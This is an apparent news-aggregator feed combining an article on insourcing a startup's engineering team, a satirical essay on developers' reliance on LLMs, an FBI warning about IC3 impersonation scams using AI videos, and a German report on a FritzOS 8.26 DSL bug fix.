<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Outsourcing worked – until it didn’t.</p>



<p class="wp-block-paragraph">After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.</p>



<p class="wp-block-paragraph">The challenges started after the first enterprise customers confirmed product-market fit. At that point, delivery speed became directly tied to business growth. Product quality expectations increased. Infrastructure and security requirements became stricter. Investors started asking difficult but<a href="https://www.cio.com/article/4069909/10-outsourcing-strategy-questions-every-it-leader-must-answer.html"> </a><a href="https://www.cio.com/article/4069909/10-outsourcing-strategy-questions-every-it-leader-must-answer.html">fair questions</a> about IP ownership, operational dependencies and long-term scalability.</p>



<p class="wp-block-paragraph">Most importantly, engineering execution was no longer just an operational function – it became part of the company’s strategic advantage. That was the moment when the founders decided the company needed dedicated technology leadership to address these challenges. This is how I joined the company at the beginning of 2023. As VP of Engineering and a bit later as CTO, I led the transformation (usually known as<a href="https://www.cio.com/article/272355/outsourcing-outsourcing-definition-and-solutions.html"> </a><a href="https://www.cio.com/article/272355/outsourcing-outsourcing-definition-and-solutions.html">insourcing, repatriating or backsourcing</a>) from an outsourced model to an internal engineering organization while maintaining product delivery continuity and preparing the company for the next growth stage. The process took roughly a year and involved not only technical migration, but also organizational design, hiring, process development, infrastructure modernization and cultural transformation – everything from the ground up.</p>



<h2 class="wp-block-heading">Building an internal engineering organization while still delivering</h2>



<p class="wp-block-paragraph">One of the biggest misconceptions about insourcing is that it is primarily a technical project. It is a leadership and execution challenge.</p>



<p class="wp-block-paragraph">When I joined the company, there was effectively no internal engineering structure, limited visibility into the existing system and no clear long-term technical strategy. My first months were dedicated to understanding reality and I began with a comprehensive assessment of the codebase, operational risks, documentation quality and knowledge dependencies to determine the most viable transition strategy.</p>



<p class="wp-block-paragraph">Very early in the process, I faced a critical strategic decision: whether to gradually assume ownership of the existing platform or rebuild it internally. To make that decision, I evaluated four distinct transition models ranging from limited management insourcing to a complete internal rebuild.</p>



<p class="wp-block-paragraph">After assessing the technical, operational and long-term business implications of each approach, I selected the most demanding option: rebuilding the product internally while maintaining uninterrupted delivery for existing customers. Although riskier in the short term, a full rebuild offered the clearest route to complete IP ownership, architectural flexibility and long-term scalability.</p>



<p class="wp-block-paragraph">At the time, this decision ran counter to the approach typically taken by startups in similar situations. Most organizations gradually assume ownership of an existing codebase to minimize short-term risk and preserve delivery capacity. My assessment was that the accumulated architectural debt, fragmented knowledge distribution and long-term maintenance risks would ultimately make a phased takeover more expensive and less scalable than a controlled rebuild. The strategy required significantly higher execution discipline, but it allowed us to establish complete ownership of the platform, eliminate inherited constraints and create an architecture capable of supporting enterprise-scale growth.</p>



<p class="wp-block-paragraph">The next challenge was hiring.</p>



<p class="wp-block-paragraph">In Germany, hiring can easily take four to six months – mostly due to a typical 3-month notice period, which is incompatible with startup timelines. We solved this by building a hybrid organization structure early: a lean internal core team combined with carefully selected contractors. Instead of hiring only narrow specialists, we prioritized experienced generalists capable of operating across architecture, infrastructure, security and compliance discussions. Later, we evolved toward a<a href="https://docs.google.com/document/d/1uSc1o6hdJ5AweCsjcLzo3JAzvq1q-7ALl1MPMNWx2sQ/edit?usp=sharing"> </a><a href="https://docs.google.com/document/d/1uSc1o6hdJ5AweCsjcLzo3JAzvq1q-7ALl1MPMNWx2sQ/edit?usp=sharing">product engineering model</a>, where engineers owned broader product outcomes rather than narrowly defined technical functions.</p>



<p class="wp-block-paragraph">During the first three months, we established a core engineering team of four senior engineers. Over the following nine months, the organization expanded to roughly fifteen engineers while I strategically designed and executed the transformation of the platform’s architecture to meet the rigorous deployment and compliance standards of our first enterprise clients, including Raiffeisen Bank International and Bertelsmann. This structural overhaul allowed the company to meet the deployment, security and compliance requirements of enterprise customers that had previously been inaccessible under the outsourced model. At that point, we had already achieved complete coverage across backend, frontend, DevOps, QA and security.</p>



<p class="wp-block-paragraph">I also intentionally kept processes lightweight during the transition. Instead of introducing heavyweight frameworks, we focused on clarity of priorities, fast decision-making and execution discipline. We used Kanban over Scrum, eliminated unnecessary meetings, shortened the remaining ones and emphasized engineering culture over process overhead.</p>



<p class="wp-block-paragraph">Another major challenge was project estimation. Because dual-track development was unavoidable until the in-house platform reached production readiness, estimation accuracy had a direct impact on budget efficiency. Despite all challenges, my initial estimate ultimately proved remarkably close to the final delivery date, differing by only about a week. Accurate forecasting under conditions of parallel development streams, ongoing customer commitments and active team formation became a critical leadership challenge. Maintaining this level of predictability throughout the transition helped align engineering execution with business planning, hiring decisions and investor expectations.</p>



<p class="wp-block-paragraph">The engineering transformation enabled capabilities that contributed to Akirolabs being recognized as an IDC Innovator in Procurement in 2023, named amongst the Top 27 AI Startups in Germany in 2024, Sifted’s 100 Fastest-Growing Startups in DACH &amp; CEE 2025 and inclusion in 2024-2026 in ProcureTech100 annual recognition of procurement technology providers shaping the future of digital procurement.</p>



<h2 class="wp-block-heading">Managing risk without slowing down the business</h2>



<p class="wp-block-paragraph">The hardest part of insourcing is not writing code, selecting the technology stack, designing architecture or configuring infrastructure. It is avoiding disruption while the company is changing underneath the product. I successfully orchestrated the concurrent overhaul of product architecture, cross-functional engineering recruitment, infrastructure modernization and live customer operations under exceptionally tight margins.</p>



<p class="wp-block-paragraph">To reduce delivery risk, we approached the transition in layers.</p>



<p class="wp-block-paragraph">First, we focused on<a href="https://platformengineering.com/features/the-platform-centric-shift-why-enterprise-ai-teams-need-internal-ai-platforms-not-more-engineers/"> </a><a href="https://platformengineering.com/features/the-platform-centric-shift-why-enterprise-ai-teams-need-internal-ai-platforms-not-more-engineers/">infrastructure reliability and operational readiness</a> before feature expansion. Cloud architecture, recovery testing, permission segregation and incident management processes were implemented early, not after launch. We also introduced multiple testing stages and dedicated QA functions after learning the hard way that a “developers-only” quality control approach does not scale for complex web platforms and business domains.</p>



<p class="wp-block-paragraph">Second, we established a structured knowledge-transfer process to rapidly onboard engineers and reduce external dependencies.</p>



<p class="wp-block-paragraph">Third, we became extremely disciplined about scope management. One of the most common reasons<a href="https://www.cio.com/article/244453/whether-outsourcing-or-insourcing-cios-need-control.html"> </a><a href="https://www.cio.com/article/244453/whether-outsourcing-or-insourcing-cios-need-control.html">insourcing initiatives fail is uncontrolled change</a> during the rebuild phase. Every new feature request increases uncertainty non-linearly. We learned to separate strategic improvements from distractions and protect the core delivery roadmap aggressively. Throughout the transition, we successfully maintained uninterrupted customer operations by utilizing planned maintenance windows, achieved a near-zero-downtime migration and permanently doubled product velocity immediately following the migration.</p>



<p class="wp-block-paragraph">Beyond the technical migration itself, the transition established a repeatable operating model for scaling technology organizations beyond the product-market-fit stage. The framework combined organizational redesign, controlled knowledge repatriation, architecture modernization and enterprise-grade operational practices while maintaining uninterrupted customer delivery throughout the transformation. While the implementation was specific to Akirolabs, the underlying principles are broadly applicable to organizations seeking to transition from outsourced development to internal product ownership without disrupting business operations.</p>



<p class="wp-block-paragraph">By the time the new platform reached production readiness, I had established not only a functioning engineering organization, but also a stable operational model: internal ownership, production-grade infrastructure, security processes, scalable hiring practices and clear technology and product roadmaps.</p>



<p class="wp-block-paragraph">A positive side effect of the transition was the creation of internal UI/UX and Data Science capabilities, which later became strategically important for AI product initiatives and created a foundation for the third version of the product, which we released in mid-2025.</p>



<p class="wp-block-paragraph">My technical restructuring and migration to a secure proprietary platform reduced architectural risk, established full in-house ownership and helped strengthen investor confidence during the company’s successful €5M fundraising round in 2024.</p>



<p class="wp-block-paragraph">The transition created a stronger foundation for scale and supported the company’s continued expansion among enterprise organizations operating at Fortune 500 scale, including Ahold Delhaize, Workday, IFF, Deutsche Bahn and others.</p>



<h2 class="wp-block-heading">Lessons learned for CTOs considering insourcing</h2>



<p class="wp-block-paragraph">Looking back, several decisions made the transition successful, and several mistakes made it harder than necessary.</p>



<p class="wp-block-paragraph">The first lesson is simple: decisiveness in strategic transition is paramount to maintaining business momentum. Rapidly evaluating insourcing frameworks and defining clear boundaries with the external partner allowed us to mitigate operational downtime and execute a highly efficient migration ahead of critical market deadlines.</p>



<p class="wp-block-paragraph">Second, hire more senior people and do it as early as possible. Strong technical leaders multiply execution capacity far beyond their individual contribution. In our case, the quality of the first hires influenced architecture quality, hiring standards, delivery discipline and engineering culture for the entire organization.</p>



<p class="wp-block-paragraph">Finally, culture matters more than frameworks. Processes can be added later. Ownership mentality cannot.</p>



<p class="wp-block-paragraph">The biggest long-term advantage of bringing development in-house was not simply faster execution, not better code quality or operational cost optimization by over 30% after the transition which we also achieved. It was an alignment. Product strategy, engineering decisions, customer priorities and business goals became part of the same conversation instead of being separated by organizational boundaries. For technology companies operating in highly competitive markets, that alignment becomes a compounding advantage over time.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Seven sins of the modern software developer]]></title>
<description><![CDATA[If you ask us in an official setting, our official position is that software engineering norms still apply. Rigorous CI/CD pipelines, elegant architectural patterns, and an unyielding commitment to maintainable code remain the standard. We will use weighty words like “determinism,” “scalability,”...]]></description>
<link>https://tsecurity.de/de/3685746/ai-nachrichten/seven-sins-of-the-modern-software-developer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685746/ai-nachrichten/seven-sins-of-the-modern-software-developer/</guid>
<pubDate>Wed, 22 Jul 2026 11:04:50 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">If you ask us in an official setting, our official position is that software engineering norms still apply. Rigorous CI/CD pipelines, elegant architectural patterns, and an unyielding commitment to maintainable code remain the standard. We will use weighty words like “determinism,” “scalability,” “idempotency,” and “domain-driven design.”</p>



<p class="wp-block-paragraph">But behind closed doors, late at night, bathed in the glow of a dark-mode IDE, a different and more sordid reality is exposed. Hunched over the console with a manic gleam in the eye, the programmer has become power-drunk on <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" data-type="link" data-id="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">LLMs</a>. Like mad wizards casting spells, we summon the awesome powers of models and agents to satisfy our every programming whim—and commit acts of software engineering that would make <a href="https://en.wikipedia.org/wiki/Fred_Brooks">Fred Brooks</a> blush.</p>



<p class="wp-block-paragraph">Let’s just be honest about what is actually happening.</p>



<h2 class="wp-block-heading">Esoteric knowledge is superfluous</h2>



<p class="wp-block-paragraph">Forget <a href="https://www.infoworld.com/article/2335255/what-is-object-oriented-programming-the-everyday-programming-style.html">OOP</a> and <a href="https://www.infoworld.com/article/2263963/what-is-functional-programming-a-practical-guide.html">FP</a>. Forget the <a href="https://en.wikipedia.org/wiki/CAP_theorem">CAP theorem</a>, the holy crusade of <a href="https://en.wikipedia.org/wiki/Don%27t_repeat_yourself">DRY</a>, and the design patterns. Honestly, you can even forget what frameworks, runtimes, and deployment platforms you are using. The AI will figure out what is best to use and understand what is already in place. We have more mental bandwidth for working on our side project (a novel about AI taking over the world). </p>



<p class="wp-block-paragraph">Of course, I exaggerate. A little.</p>



<h2 class="wp-block-heading">The docs are dead to us</h2>



<p class="wp-block-paragraph">We still say RTFM, but the truth is, we haven’t really read a page of vendor documentation since 2023. <a href="https://www.infoworld.com/article/3993482/ai-didnt-kill-stack-overflow.html">Stack Overflow</a>, once our Internet Mecca, is a husk. When a package throws a weird exception, we don’t trace the execution path or read the release notes. We highlight the red text, copy the entire 200-line stack trace, dump it into the chat, and wait for the machine to spoon-feed us the solution.</p>



<p class="wp-block-paragraph">Better yet, we just have the agentic IDE spot the error, divine a solution, and ask us if it’s OK. We might glance at the problem-solution description, if we have gone around the circle on the problem for a few cycles. Maybe. If we don’t have the agent set up for auto-confirm.</p>



<p class="wp-block-paragraph">We used to buy heavy tomes like “Rust In Action” that were more like masonry blocks than literature. Now? We just ask an AI to transliterate our JavaScript logic into Rust. We are no longer engineers methodically learning a system. We are glorified copy-paste orchestrators hoping that the stochastic parrot behind the prompt guesses the syntax correctly.</p>



<h2 class="wp-block-heading">We ignore how the back end is wired</h2>



<p class="wp-block-paragraph">We act like we meticulously designed the data flows, carefully crafted the relational constraints, and mindfully mapped the API relationships. The reality is rather more disturbing: We asked the AI to scaffold a modern deployment, hooked it up to a back-end database, and just sort of… ran it.</p>



<p class="wp-block-paragraph">It created security rules we don’t fully understand. They do seem to work, however, which is nice. </p>



<p class="wp-block-paragraph">It generated a schema that we skimmed for about four seconds. It looks reasonable.</p>



<p class="wp-block-paragraph">It wrote <a href="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html" data-type="link" data-id="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html">infrastructure-as-code</a> scripts that provisioned cloud resources we are hoping don’t blow a hole in the budget. Presumably, whoever is in charge of that will manage it by stuffing the metrics into another chatbot.</p>



<p class="wp-block-paragraph">We nodded, committed the code, and went to lunch. If management asked us to manually deploy the stack from scratch, configure the environment variables, and wire the API routes without our chat window, we would give them a vacant stare.</p>



<p class="wp-block-paragraph">We understand that management is also using AI to manage the project.</p>



<h2 class="wp-block-heading">Our tests are uncomfortably incestuous</h2>



<p class="wp-block-paragraph">Test-driven development (TDD) used to be a beautiful dream, ever just beyond reach. It made us feel glorious and despondent at turns. It would burden us with sprawling dependencies if implemented too religiously. (See <a href="https://grugbrain.dev/#grug-on-testing">The Grug Brained Developer</a> in this regard.)</p>



<p class="wp-block-paragraph">But now we can attain 95% test coverage almost effortlessly. Why not just add them in while we are auto-generating everything else?</p>



<p class="wp-block-paragraph">We can now wax at length to anyone who will listen about our astounding test coverage and our automated quality assurance. Unit tests, integration tests, smoke tests, you name it. What we conveniently leave out is that the AI wrote the complex application logic, and then we asked <em>the exact same AI</em> to write the test suite to validate the code it just dreamed up.</p>



<p class="wp-block-paragraph">It is a hermetically sealed loop of algorithmic self-congratulation. The mocks, the edge case, and the assertions are an echo chamber of the model’s original assumptions. The machine is grading its own homework, giving itself an A+.</p>



<p class="wp-block-paragraph">And we are happy to accept this because, beautifully, when the code has to change, the AI will effortlessly hallucinate new tests to adapt to the churn.</p>



<h2 class="wp-block-heading">We pass off the AI’s architecture as strategy</h2>



<p class="wp-block-paragraph">AI can produce astonishing design documents. Truly breathtaking. They are cogent, they’re beautifully formatted, and they seamlessly bridge the gap between high-level business goals and granular technical specs. They even include those auto-generated sequence diagrams that wow management.</p>



<p class="wp-block-paragraph">When we present these spotless architectural proposals in the Tuesday sprint planning meeting, we lean back, take a long sip of coffee, and humbly wave away the team’s praise.</p>



<p class="wp-block-paragraph">What we don’t mention is that we spent exactly four seconds generating it.</p>



<p class="wp-block-paragraph">Are these AI-generated documents just as liable as human ones to hide severe, mortal flaws in scope and alignment? Absolutely. They might contain a foundational logic bomb that will eventually doom the entire project. But the markdown is so crisp, and the bullet points are so persuasive, that the eye just glides right over it. We will never truly know the depth of the disaster until it is far too late. But hey, we’ll burn that bridge when production catches fire. Until then, we are strategic visionaries.</p>



<h2 class="wp-block-heading">We’re addicted to vibe coding (but only in secret)</h2>



<p class="wp-block-paragraph">We loudly mock the term on social media. We roll our eyes in Slack channels when the kids on TikTok talk about <a href="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html" data-type="link" data-id="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html">vibe coding</a> their new startups. We fiercely cling to our identities as hardened, serious developers who understand memory management, garbage collection, and bitwise operators. We are professionals, damn it.</p>



<p class="wp-block-paragraph">But late at night, when the managers are asleep and no one is looking? We absolutely love it. We love just throwing a chaotic, half-baked thought at the canvas, pouring a drink, and watching the AI magically build a functioning user interface based entirely on our long-deferred whims. I may finally build that working <a href="https://en.wikipedia.org/wiki/Ultima_V%3A_Warriors_of_Destiny" data-type="link" data-id="https://en.wikipedia.org/wiki/Ultima_V%3A_Warriors_of_Destiny">Ultima V</a> clone. The thrill of typing “Create an app that tracks my cryptocurrency portfolio but makes it look like the interface from Neuromancer” and having it appear 30 seconds later is heady stuff.</p>



<p class="wp-block-paragraph">The more deeply rooted in the hard, old-school realities of programming, the more profound is the joy the developer finds in the possibility of AI coding. </p>



<h2 class="wp-block-heading">We beat the problem into submission with prompts</h2>



<p class="wp-block-paragraph">Like Adam Sandler in “Uncut Gems,” we are convinced the next round will fix everything. This is us with prompts. When things are going really off the rails, instead of putting our boots on and wading into the brambles of complexity, we resort to tonal adjustments. These range from the condescending: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">This problem is not fixed. Look at it closely. The error is right here.</p>
</blockquote>



<p class="wp-block-paragraph">To the desperate: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">We have been working on this same problem for hours now!</p>
</blockquote>



<p class="wp-block-paragraph">To the pathetic: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Can’t you find a different approach to try?!</p>
</blockquote>



<p class="wp-block-paragraph">The astonishing part? It often works.</p>



<p class="wp-block-paragraph">But there is no poetry left at the bottom of the rabbit hole; it is verbal warfare. When the context window collapses, when the regressions start cascading, and when the AI stubbornly refuses to follow the most basic rules of temporal logic, the mask of professionalism drops away and something far more atavistic makes its appearance. We stop asking nicely, stop trying to understand the why, delete the pleasantries, and capslock our intent.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">What we have here is a failure to communicate! </p>
</blockquote>



<p class="wp-block-paragraph">We feed the same failing stack trace back into the prompt over and over and over again, aggressively hammering the constraints, explicitly forbidding certain libraries, and pasting in release notes just to confirm that the AI lacks the latest APIs. We force the model down a narrower and narrower path until the code finally stops throwing errors. We don’t actually debug anymore, trace variables, or step through functions. We just apply relentless, iterative pressure until the machine surrenders. We beat it into submission. And then, we push to production.</p>



<p class="wp-block-paragraph">In fact, there is a real skill here—a sheer “will to completion” that remains in the act of building software. We invest just as much time, energy, and heart wrestling the bot as we ever did emitting syntax.</p>



<h2 class="wp-block-heading">A blacker box</h2>



<p class="wp-block-paragraph">The only profession more given over to using AI like a cursed Level 13 artifact than programming is writing. Writing of course is far more open to public scrutiny than code.</p>



<p class="wp-block-paragraph">And while my tongue has been firmly in my cheek here, my faith in coders as good guys makes me more curious to see what we create than troubled by the dangers. </p>



<p class="wp-block-paragraph">It was once the case that only other programmers could understand what programmers were doing, what they were producing. Now not even that is true. Only the machine knows what the machine is doing. We just keep it tethered to our aims. Hopefully.</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[FBI Updates IC3 Scam Warning Over AI Videos Targeting Victims]]></title>
<description><![CDATA[The FBI IC3 scam has evolved into a broader fraud scheme in which criminals impersonate FBI personnel and the Internet Crime Complaint Center (IC3) to target people who have already fallen victim to scams. According to an updated Public Service Announcement (PSA), scammers are using AI-generated ...]]></description>
<link>https://tsecurity.de/de/3685580/it-security-nachrichten/fbi-updates-ic3-scam-warning-over-ai-videos-targeting-victims/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685580/it-security-nachrichten/fbi-updates-ic3-scam-warning-over-ai-videos-targeting-victims/</guid>
<pubDate>Wed, 22 Jul 2026 10:08:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="FBI IC3 scam" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update.webp 1536w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update.webp 1536w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-1140x760.webp 1140w" sizes="(max-width: 1536px) 100vw, 1536px" title="FBI Updates IC3 Scam Warning Over AI Videos Targeting Victims 1"></p><p class="PDq2pG_selectionAnchorContainer" data-start="493" data-end="949">The FBI IC3 scam has evolved into a broader fraud scheme in which criminals impersonate FBI personnel and the <a href="https://thecyberexpress.com/scam-centers-in-southeast-asia/" target="_blank" rel="noopener">Internet Crime Complaint Center</a> (IC3) to target people who have already fallen victim to scams. According to an updated <a href="https://www.ic3.gov/PSA/2025/PSA250418" target="_blank" rel="nofollow noopener">Public Service Announcement</a> (PSA), scammers are using <a href="https://thecyberexpress.com/will-ai-generated-cyberattacks-surge-in-future/" target="_blank" rel="noopener">AI-generated videos</a>, <a href="https://thecyberexpress.com/ways-social-media-is-fuelling-cybercrime/" target="_blank" rel="noopener">fake social media profiles</a>, and spoofed websites to create a false sense of trust while attempting to steal personal and financial information.</p>
<p data-start="951" data-end="1367">The updated warning describes several exploitation tactics, including targeting previous scam victims, using artificial intelligence to create fictitious or misleading promotional materials, and building fake websites designed to collect personally identifiable information. The scammers falsely claim to be affiliated with government agencies or law enforcement and often promise to help victims recover lost funds.</p>

<h3 data-section-id="196yc7a" data-start="1369" data-end="1420"><strong><span role="text">FBI IC3 Scam Targets Previous Fraud Victims</span></strong></h3>
<p data-start="1422" data-end="1642">In one version of the FBI IC3 <a class="wpil_keyword_link" href="https://cyble.com/tech-scam/" target="_blank" rel="noopener" title="scam" data-wpil-keyword-link="linked" data-wpil-monitor-id="29073">scam</a>, criminals create fake social media profiles and pages that impersonate FBI personnel. The goal is to lure previous <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-scam-tips-for-safety/" title="scam" data-wpil-keyword-link="linked" data-wpil-monitor-id="29077">scam</a> victims into what the PSA describes as "re-targeting" scams.</p>
<p data-start="1644" data-end="1926">After realizing they have been defrauded, victims may tell the original scammers they plan to report the incident to the FBI and submit an IC3 complaint. The victim is then contacted by someone pretending to be an FBI agent through platforms such as Facebook Messenger and Telegram.</p>
<p data-start="1928" data-end="2139">The impersonator may send a link claiming to <a href="https://www.ic3.gov/PSA/2026/PSA260720" target="_blank" rel="nofollow noopener">update an existing IC3 complaint</a>. The link could contain malicious code or collect additional financial information, allowing criminals to further <a class="wpil_keyword_link" href="https://cyble.com/exploit/" target="_blank" rel="noopener" title="exploit" data-wpil-keyword-link="linked" data-wpil-monitor-id="29074">exploit</a> the victim.</p>
<p data-start="2141" data-end="2445">In other cases, scammers approach victims through email, phone calls, social media advertisements, or online forums. They claim to have recovered lost funds or offer assistance in recovering money. The FBI warning states these claims are a ruse designed to revictimize people who have already lost money.</p>

<h3 data-section-id="j1jslh" data-start="2447" data-end="2503"><span role="text"><strong data-start="2451" data-end="2503">AI-Generated Videos Promote Spoofed IC3 Websites</strong></span></h3>
<p data-start="2505" data-end="2724">Another version of the scheme involves AI-generated videos or <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-are-deepfakes/" target="_blank" rel="noopener" title="deepfakes" data-wpil-keyword-link="linked" data-wpil-monitor-id="29075">deepfakes</a> featuring individuals impersonating FBI personnel. The videos are used on social media to promote spoofed versions of the official IC3 website.</p>
<p data-start="2726" data-end="3010">One reported example involved an AI-generated video depicting a senior FBI leader encouraging users to submit complaints through a <a href="https://thecyberexpress.com/planning-and-zoning-permit-phishing-scam/" target="_blank" rel="noopener">fake IC3 website</a>. The spoofed site was designed to resemble the legitimate government website, but its functionality was limited to complaint submission.</p>
<p data-start="3012" data-end="3257">The fake complaint form requested information including a user's name, phone number, email address, scam type, and estimated financial loss. After submission, the site provided a reference number and claimed someone would contact the individual.</p>

<h3 data-section-id="17fdwcn" data-start="3259" data-end="3316"><strong><span role="text">How to Spot AI-Generated Videos and Fake Messages</span></strong></h3>
<p data-start="3318" data-end="3633">The PSA warns that scammers can use AI-generated videos and cloned voices to impersonate company executives, law enforcement personnel, and other authority figures. These materials may be used during real-time video chats or private communications to convince victims they are speaking with a legitimate person.</p>
<p data-start="3635" data-end="3986">People are advised to carefully examine email addresses, phone numbers, URLs, and spelling for subtle inconsistencies. Potential warning signs in manipulated images and videos include distorted hands or feet, unrealistic facial features, irregular faces, unusual accessories, inaccurate shadows, watermarks, unnatural movements, and voice call delays.</p>
<p data-start="3988" data-end="4235">The FBI also advises people to be cautious when online content triggers strong emotions such as fear, anger, or disbelief. Users should verify surprising videos or images through reputable <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="news" data-wpil-keyword-link="linked" data-wpil-monitor-id="29076">news</a> sources or known official channels before responding.</p>
<p data-start="4237" data-end="4538">IC3 does not maintain a social media presence and will not contact individuals directly through phone, email, social media, messaging apps, online chats, or public forums. The agency also does not recover funds for victims through Facebook or Telegram and will never request payment for fund recovery.</p>
<p data-start="4540" data-end="4834">People seeking to file an IC3 complaint should type <a class="decorated-link" href="http://www.ic3.gov/" target="_blank" rel="nofollow noopener" data-start="4594" data-end="4605">www.ic3.gov</a> directly into their browser and verify that the website address ends in ".gov." Victims should avoid sponsored search results and suspicious links, and should never share sensitive information with websites they cannot verify.</p>
<p data-start="4836" data-end="5068" data-is-last-node="" data-is-only-node="">Anyone who has fallen victim to the scam should report it through the legitimate IC3 website and provide details about the person or company involved, communication methods, financial transactions, and interactions with the scammer.</p>]]></content:encoded>
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<title><![CDATA[Fritzbox-Nutzer sollten jetzt nach Updates suchen: FritzOS 8.26 behebt DSL-Problem]]></title>
<description><![CDATA[Besitzer einer Fritzbox 7510 steht ab sofort FritzOS 8.26 bereit. Das neue Wartungsupdate behebt einen Fehler, der unter bestimmten Bedingungen die Geschwindigkeit von DSL-Anschlüssen erheblich reduzieren konnte. Darauf weisen die offiziellen Versionshinweise von Fritz sowie mehrere Medienbericht...]]></description>
<link>https://tsecurity.de/de/3685541/it-nachrichten/fritzbox-nutzer-sollten-jetzt-nach-updates-suchen-fritzos-826-behebt-dsl-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685541/it-nachrichten/fritzbox-nutzer-sollten-jetzt-nach-updates-suchen-fritzos-826-behebt-dsl-problem/</guid>
<pubDate>Wed, 22 Jul 2026 09:50:57 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Besitzer einer <a href="https://www.pcwelt.de/article/1204711/test-avm-fritzbox-7510-wlan-router.html" target="_blank" rel="noreferrer noopener">Fritzbox 7510</a> steht ab sofort FritzOS 8.26 bereit. Das neue Wartungsupdate behebt einen Fehler, der unter bestimmten Bedingungen die Geschwindigkeit von DSL-Anschlüssen erheblich reduzieren konnte. Darauf weisen die offiziellen Versionshinweise von Fritz sowie mehrere Medienberichte, etwa von <a href="https://winfuture.de/news,160120.html" target="_blank" rel="noreferrer noopener">Winfuture</a>, hin.</p>



<p>Wer eine Fritzbox 7510 nutzt, sollte daher prüfen, ob die neue Firmware bereits zur Installation angeboten wird. Das Update enthält zwar keine neuen Funktionen, beseitigt aber ein Problem, das die Internetverbindung im Alltag spürbar beeinträchtigen konnte.</p>



<h2 class="wp-block-heading">Fehler begrenzte DSL-Anschlüsse auf 10 MBit/s</h2>



<p>In bestimmten technischen Konstellationen kam es vor, dass DSL-Verbindungen unabhängig vom gebuchten Tarif auf maximal <a href="https://fritz.com/apps/knowledge-base/fritz-box-7510/198_DSL-Datenrate-zu-gering?utm_source=chatgpt.com" target="_blank" rel="noreferrer noopener">10 MBit/s begrenzt wurden</a>. Nutzer bemerkten dies möglicherweise durch ungewöhnlich langsame Downloads, längere Ladezeiten oder Probleme beim Streaming und Online-Gaming.</p>



<p>Mit FritzOS 8.26 soll dieser Fehler nun behoben sein. Die offiziellen Änderungen fallen überschaubar aus:</p>



<ul class="wp-block-list">
<li>Behebung eines Fehlers, der DSL-Verbindungen unter bestimmten Bedingungen auf 10 MBit/s begrenzen konnte</li>



<li>Verbesserungen der Systemstabilität</li>
</ul>



<h2 class="wp-block-heading">Bislang nur für die Fritzbox 7510</h2>



<p>Aktuell wird FritzOS 8.26 für die Fritzbox 7510 bereitgestellt. Dabei handelt es sich um ein DSL-Einstiegsmodell mit Unterstützung für Supervectoring-Anschlüsse mit bis zu 300 MBit/s.</p>



<p>Erfahrungsgemäß veröffentlicht Fritz neue Wartungsupdates jedoch häufig zunächst für einzelne Modelle, bevor weitere Router folgen. Ob und wann andere Fritzboxen ebenfalls FritzOS 8.26 erhalten, ist derzeit noch nicht bekannt.</p>



